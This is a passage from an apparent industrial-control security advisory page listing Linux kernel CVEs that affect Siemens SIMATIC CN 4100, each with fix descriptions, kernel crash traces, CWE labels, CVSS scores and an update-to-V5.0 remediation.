multicast_startup_query_interval can also cause this issue. Similar to the commit 99b40610956a (\"net: bridge: mcast: add and enforce query interval minimum\"), add check for the query interval maximum to fix this issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-667 Improper Locking\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39776\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/debug_vm_pgtable: clear page table entries at destroy_args() The mm/debug_vm_pagetable test allocates manually page table entries for the tests it runs, using also its manually allocated mm_struct. That in itself is ok, but when it exits, at destroy_args() it fails to clear those entries with the *_clear functions. The problem is that leaves stale entries. If another process allocates an mm_struct with a pgd at the same address, it may end up running into the stale entry. This is happening in practice on a debug kernel with CONFIG_DEBUG_VM_PGTABLE=y, for example this is the output with some extra debugging I added (it prints a warning trace if pgtables_bytes goes negative, in addition to the warning at check_mm() function): [ 2.539353] debug_vm_pgtable: [get_random_vaddr ]: random_vaddr is 0x7ea247140000 [ 2.539366] kmem_cache info [ 2.539374] kmem_cachep 0x000000002ce82385 - freelist 0x0000000000000000 - offset 0x508 [ 2.539447] debug_vm_pgtable: [init_args ]: args->mm is 0x000000002267cc9e (...) [ 2.552800] WARNING: CPU: 5 PID: 116 at include/linux/mm.h:2841 free_pud_range+0x8bc/0x8d0 [ 2.552816] Modules linked in: [ 2.552843] CPU: 5 UID: 0 PID: 116 Comm: modprobe Not tainted 6.12.0-105.debug_vm2.el10.ppc64le+debug #1 VOLUNTARY [ 2.552859] Hardware name: IBM,9009-41A POWER9 (architected) 0x4e0202 0xf000005 of:IBM,FW910.00 (VL910_062) hv:phyp pSeries [ 2.552872] NIP: c0000000007eef3c LR: c0000000007eef30 CTR: c0000000003d8c90 [ 2.552885] REGS: c0000000622e73b0 TRAP: 0700 Not tainted (6.12.0-105.debug_vm2.el10.ppc64le+debug) [ 2.552899] MSR: 800000000282b033 CR: 24002822 XER: 0000000a [ 2.552954] CFAR: c0000000008f03f0 IRQMASK: 0 [ 2.552954] GPR00: c0000000007eef30 c0000000622e7650 c000000002b1ac00 0000000000000001 [ 2.552954] GPR04: 0000000000000008 0000000000000000 c0000000007eef30 ffffffffffffffff [ 2.552954] GPR08: 00000000ffff00f5 0000000000000001 0000000000000048 0000000000004000 [ 2.552954] GPR12: 00000003fa440000 c000000017ffa300 c0000000051d9f80 ffffffffffffffdb [ 2.552954] GPR16: 0000000000000000 0000000000000008 000000000000000a 60000000000000e0 [ 2.552954] GPR20: 4080000000000000 c0000000113af038 00007fffcf130000 0000700000000000 [ 2.552954] GPR24: c000000062a6a000 0000000000000001 8000000062a68000 0000000000000001 [ 2.552954] GPR28: 000000000000000a c000000062ebc600 0000000000002000 c000000062ebc760 [ 2.553170] NIP [c0000000007eef3c] free_pud_range+0x8bc/0x8d0 [ 2.553185] LR [c0000000007eef30] free_pud_range+0x8b0/0x8d0 [ 2.553199] Call Trace: [ 2.553207] [c0000000622e7650] [c0000000007eef30] free_pud_range+0x8b0/0x8d0 (unreliable) [ 2.553229] [c0000000622e7750] [c0000000007f40b4] free_pgd_range+0x284/0x3b0 [ 2.553248] [c0000000622e7800] [c0000000007f4630] free_pgtables+0x450/0x570 [ 2.553274] [c0000000622e78e0] [c0000000008161c0] exit_mmap+0x250/0x650 [ 2.553292] [c0000000622e7a30] [c0000000001b95b8] __mmput+0x98/0x290 [ 2.558344] [c0000000622e7a80] [c0000000001d1018] exit_mm+0x118/0x1b0 [ 2.558361] [c0000000622e7ac0] [c0000000001d141c] do_exit+0x2ec/0x870 [ 2.558376] [c0000000622e7b60] [c0000000001d1ca8] do_group_exit+0x88/0x150 [ 2.558391] [c0000000622e7bb0] [c0000000001d1db8] sys_exit_group+0x48/0x50 [ 2.558407] [c0000000622e7be0] [c00000000003d810] system_call_exception+0x1e0/0x4c0 [ 2.558423] [c0000000622e7e50] [c00000000000d05c] system_call_vectored_common+0x15c/0x2ec (...) [ 2.558892] ---[ end trace 0000000000000000 ]--- [ 2.559022] BUG: Bad rss-counter state mm:000000002267cc9e type:MM_ANONPAGES val:1 [ 2.559037] BUG: non-zero pgtables_bytes on freeing mm: -6144 Here the modprobe process ended up with an allocated mm_struct from the mm_struct slab that was used before by the debug_vm_pgtable test. That is not a problem, since the mm_stru ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39782\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jbd2: prevent softlockup in jbd2_log_do_checkpoint() Both jbd2_log_do_checkpoint() and jbd2_journal_shrink_checkpoint_list() periodically release j_list_lock after processing a batch of buffers to avoid long hold times on the j_list_lock. However, since both functions contend for j_list_lock, the combined time spent waiting and processing can be significant. jbd2_journal_shrink_checkpoint_list() explicitly calls cond_resched() when need_resched() is true to avoid softlockups during prolonged operations. But jbd2_log_do_checkpoint() only exits its loop when need_resched() is true, relying on potentially sleeping functions like __flush_batch() or wait_on_buffer() to trigger rescheduling. If those functions do not sleep, the kernel may hit a softlockup. watchdog: BUG: soft lockup - CPU#3 stuck for 156s! [kworker/u129:2:373] CPU: 3 PID: 373 Comm: kworker/u129:2 Kdump: loaded Not tainted 6.6.0+ #10 Hardware name: Huawei TaiShan 2280 /BC11SPCD, BIOS 1.27 06/13/2017 Workqueue: writeback wb_workfn (flush-7:2) pstate: 20000005 (nzCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : native_queued_spin_lock_slowpath+0x358/0x418 lr : jbd2_log_do_checkpoint+0x31c/0x438 [jbd2] Call trace: native_queued_spin_lock_slowpath+0x358/0x418 jbd2_log_do_checkpoint+0x31c/0x438 [jbd2] __jbd2_log_wait_for_space+0xfc/0x2f8 [jbd2] add_transaction_credits+0x3bc/0x418 [jbd2] start_this_handle+0xf8/0x560 [jbd2] jbd2__journal_start+0x118/0x228 [jbd2] __ext4_journal_start_sb+0x110/0x188 [ext4] ext4_do_writepages+0x3dc/0x740 [ext4] ext4_writepages+0xa4/0x190 [ext4] do_writepages+0x94/0x228 __writeback_single_inode+0x48/0x318 writeback_sb_inodes+0x204/0x590 __writeback_inodes_wb+0x54/0xf8 wb_writeback+0x2cc/0x3d8 wb_do_writeback+0x2e0/0x2f8 wb_workfn+0x80/0x2a8 process_one_work+0x178/0x3e8 worker_thread+0x234/0x3b8 kthread+0xf0/0x108 ret_from_fork+0x10/0x20 So explicitly call cond_resched() in jbd2_log_do_checkpoint() to avoid softlockup.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39783\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: PCI: endpoint: Fix configfs group list head handling Doing a list_del() on the epf_group field of struct pci_epf_driver in pci_epf_remove_cfs() is not correct as this field is a list head, not a list entry. This list_del() call triggers a KASAN warning when an endpoint function driver which has a configfs attribute group is torn down: ================================================================== BUG: KASAN: slab-use-after-free in pci_epf_remove_cfs+0x17c/0x198 Write of size 8 at addr ffff00010f4a0d80 by task rmmod/319 CPU: 3 UID: 0 PID: 319 Comm: rmmod Not tainted 6.16.0-rc2 #1 NONE Hardware name: Radxa ROCK 5B (DT) Call trace: show_stack+0x2c/0x84 (C) dump_stack_lvl+0x70/0x98 print_report+0x17c/0x538 kasan_report+0xb8/0x190 __asan_report_store8_noabort+0x20/0x2c pci_epf_remove_cfs+0x17c/0x198 pci_epf_unregister_driver+0x18/0x30 nvmet_pci_epf_cleanup_module+0x24/0x30 [nvmet_pci_epf] __arm64_sys_delete_module+0x264/0x424 invoke_syscall+0x70/0x260 el0_svc_common.constprop.0+0xac/0x230 do_el0_svc+0x40/0x58 el0_svc+0x48/0xdc el0t_64_sync_handler+0x10c/0x138 el0t_64_sync+0x198/0x19c ... Remove this incorrect list_del() call from pci_epf_remove_cfs().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39787\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: soc: qcom: mdt_loader: Ensure we don't read past the ELF header When the MDT loader is used in remoteproc, the ELF header is sanitized beforehand, but that's not necessary the case for other clients. Validate the size of the firmware buffer to ensure that we don't read past the end as we iterate over the header. e_phentsize and e_shentsize are validated as well, to ensure that the assumptions about step size in the traversal are valid.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39788\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: ufs: exynos: Fix programming of HCI_UTRL_NEXUS_TYPE On Google gs101, the number of UTP transfer request slots (nutrs) is 32, and in this case the driver ends up programming the UTRL_NEXUS_TYPE incorrectly as 0. This is because the left hand side of the shift is 1, which is of type int, i.e. 31 bits wide. Shifting by more than that width results in undefined behaviour. Fix this by switching to the BIT() macro, which applies correct type casting as required. This ensures the correct value is written to UTRL_NEXUS_TYPE (0xffffffff on gs101), and it also fixes a UBSAN shift warning: UBSAN: shift-out-of-bounds in drivers/ufs/host/ufs-exynos.c:1113:21 shift exponent 32 is too large for 32-bit type 'int' For consistency, apply the same change to the nutmrs / UTMRL_NEXUS_TYPE write.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39790\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: bus: mhi: host: Detect events pointing to unexpected TREs When a remote device sends a completion event to the host, it contains a pointer to the consumed TRE. The host uses this pointer to process all of the TREs between it and the host's local copy of the ring's read pointer. This works when processing completion for chained transactions, but can lead to nasty results if the device sends an event for a single-element transaction with a read pointer that is multiple elements ahead of the host's read pointer. For instance, if the host accesses an event ring while the device is updating it, the pointer inside of the event might still point to an old TRE. If the host uses the channel's xfer_cb() to directly free the buffer pointed to by the TRE, the buffer will be double-freed. This behavior was observed on an ep that used upstream EP stack without 'commit 6f18d174b73d (\"bus: mhi: ep: Update read pointer only after buffer is written\")'. Where the device updated the events ring pointer before updating the event contents, so it left a window where the host was able to access the stale data the event pointed to, before the device had the chance to update them. The usual pattern was that the host received an event pointing to a TRE that is not immediately after the last processed one, so it got treated as if it was a chained transaction, processing all of the TREs in between the two read pointers. This commit aims to harden the host by ensuring transactions where the event points to a TRE that isn't local_rp + 1 are chained. [mani: added stable tag and reworded commit message]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-415 Double Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.7\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39794\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ARM: tegra: Use I/O memcpy to write to IRAM Kasan crashes the kernel trying to check boundaries when using the normal memcpy.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39795\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: block: avoid possible overflow for chunk_sectors check in blk_stack_limits() In blk_stack_limits(), we check that the t->chunk_sectors value is a multiple of the t->physical_block_size value. However, by finding the chunk_sectors value in bytes, we may overflow the unsigned int which holds chunk_sectors, so change the check to be based on sectors.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-674 Uncontrolled Recursion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39798\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: NFS: Fix the setting of capabilities when automounting a new filesystem Capabilities cannot be inherited when we cross into a new filesystem. They need to be reset to the minimal defaults, and then probed for again.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-273 Improper Check for Dropped Privileges\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39800\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: abort transaction on unexpected eb generation at btrfs_copy_root() If we find an unexpected generation for the extent buffer we are cloning at btrfs_copy_root(), we just WARN_ON() and don't error out and abort the transaction, meaning we allow to persist metadata with an unexpected generation. Instead of warning only, abort the transaction and return -EUCLEAN.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39801\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: usb: dwc3: Remove WARN_ON for device endpoint command timeouts This commit addresses a rarely observed endpoint command timeout which causes kernel panic due to warn when 'panic_on_warn' is enabled and unnecessary call trace prints when 'panic_on_warn' is disabled. It is seen during fast software-controlled connect/disconnect testcases. The following is one such endpoint command timeout that we observed: 1. Connect ======= ->dwc3_thread_interrupt ->dwc3_ep0_interrupt ->configfs_composite_setup ->composite_setup ->usb_ep_queue ->dwc3_gadget_ep0_queue ->__dwc3_gadget_ep0_queue ->__dwc3_ep0_do_control_data ->dwc3_send_gadget_ep_cmd 2. Disconnect ========== ->dwc3_thread_interrupt ->dwc3_gadget_disconnect_interrupt ->dwc3_ep0_reset_state ->dwc3_ep0_end_control_data ->dwc3_send_gadget_ep_cmd In the issue scenario, in Exynos platforms, we observed that control transfers for the previous connect have not yet been completed and end transfer command sent as a part of the disconnect sequence and processing of USB_ENDPOINT_HALT feature request from the host timeout. This maybe an expected scenario since the controller is processing EP commands sent as a part of the previous connect. It maybe better to remove WARN_ON in all places where device endpoint commands are sent to avoid unnecessary kernel panic due to warn.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39806\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: HID: multitouch: fix slab out-of-bounds access in mt_report_fixup() A malicious HID device can trigger a slab out-of-bounds during mt_report_fixup() by passing in report descriptor smaller than 607 bytes. mt_report_fixup() attempts to patch byte offset 607 of the descriptor with 0x25 by first checking if byte offset 607 is 0x15 however it lacks bounds checks to verify if the descriptor is big enough before conducting this check. Fix this bug by ensuring the descriptor size is at least 608 bytes before accessing it. Below is the KASAN splat after the out of bounds access happens: [ 13.671954] ================================================================== [ 13.672667] BUG: KASAN: slab-out-of-bounds in mt_report_fixup+0x103/0x110 [ 13.673297] Read of size 1 at addr ffff888103df39df by task kworker/0:1/10 [ 13.673297] [ 13.673297] CPU: 0 UID: 0 PID: 10 Comm: kworker/0:1 Not tainted 6.15.0-00005-gec5d573d83f4-dirty #3 [ 13.673297] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/04 [ 13.673297] Call Trace: [ 13.673297] [ 13.673297] dump_stack_lvl+0x5f/0x80 [ 13.673297] print_report+0xd1/0x660 [ 13.673297] kasan_report+0xe5/0x120 [ 13.673297] __asan_report_load1_noabort+0x18/0x20 [ 13.673297] mt_report_fixup+0x103/0x110 [ 13.673297] hid_open_report+0x1ef/0x810 [ 13.673297] mt_probe+0x422/0x960 [ 13.673297] hid_device_probe+0x2e2/0x6f0 [ 13.673297] really_probe+0x1c6/0x6b0 [ 13.673297] __driver_probe_device+0x24f/0x310 [ 13.673297] driver_probe_device+0x4e/0x220 [ 13.673297] __device_attach_driver+0x169/0x320 [ 13.673297] bus_for_each_drv+0x11d/0x1b0 [ 13.673297] __device_attach+0x1b8/0x3e0 [ 13.673297] device_initial_probe+0x12/0x20 [ 13.673297] bus_probe_device+0x13d/0x180 [ 13.673297] device_add+0xe3a/0x1670 [ 13.673297] hid_add_device+0x31d/0xa40 [...]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39808\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: HID: hid-ntrig: fix unable to handle page fault in ntrig_report_version() in ntrig_report_version(), hdev parameter passed from hid_probe(). sending descriptor to /dev/uhid can make hdev->dev.parent->parent to null if hdev->dev.parent->parent is null, usb_dev has invalid address(0xffffffffffffff58) that hid_to_usb_dev(hdev) returned when usb_rcvctrlpipe() use usb_dev,it trigger page fault error for address(0xffffffffffffff58) add null check logic to ntrig_report_version() before calling hid_to_usb_dev()\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39812\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: sctp: initialize more fields in sctp_v6_from_sk() syzbot found that sin6_scope_id was not properly initialized, leading to undefined behavior. Clear sin6_scope_id and sin6_flowinfo. BUG: KMSAN: uninit-value in __sctp_v6_cmp_addr+0x887/0x8c0 net/sctp/ipv6.c:649 __sctp_v6_cmp_addr+0x887/0x8c0 net/sctp/ipv6.c:649 sctp_inet6_cmp_addr+0x4f2/0x510 net/sctp/ipv6.c:983 sctp_bind_addr_conflict+0x22a/0x3b0 net/sctp/bind_addr.c:390 sctp_get_port_local+0x21eb/0x2440 net/sctp/socket.c:8452 sctp_get_port net/sctp/socket.c:8523 [inline] sctp_listen_start net/sctp/socket.c:8567 [inline] sctp_inet_listen+0x710/0xfd0 net/sctp/socket.c:8636 __sys_listen_socket net/socket.c:1912 [inline] __sys_listen net/socket.c:1927 [inline] __do_sys_listen net/socket.c:1932 [inline] __se_sys_listen net/socket.c:1930 [inline] __x64_sys_listen+0x343/0x4c0 net/socket.c:1930 x64_sys_call+0x271d/0x3e20 arch/x86/include/generated/asm/syscalls_64.h:51 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xd9/0x210 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f Local variable addr.i.i created at: sctp_get_port net/sctp/socket.c:8515 [inline] sctp_listen_start net/sctp/socket.c:8567 [inline] sctp_inet_listen+0x650/0xfd0 net/sctp/socket.c:8636 __sys_listen_socket net/socket.c:1912 [inline] __sys_listen net/socket.c:1927 [inline] __do_sys_listen net/socket.c:1932 [inline] __se_sys_listen net/socket.c:1930 [inline] __x64_sys_listen+0x343/0x4c0 net/socket.c:1930\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39813\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ftrace: Fix potential warning in 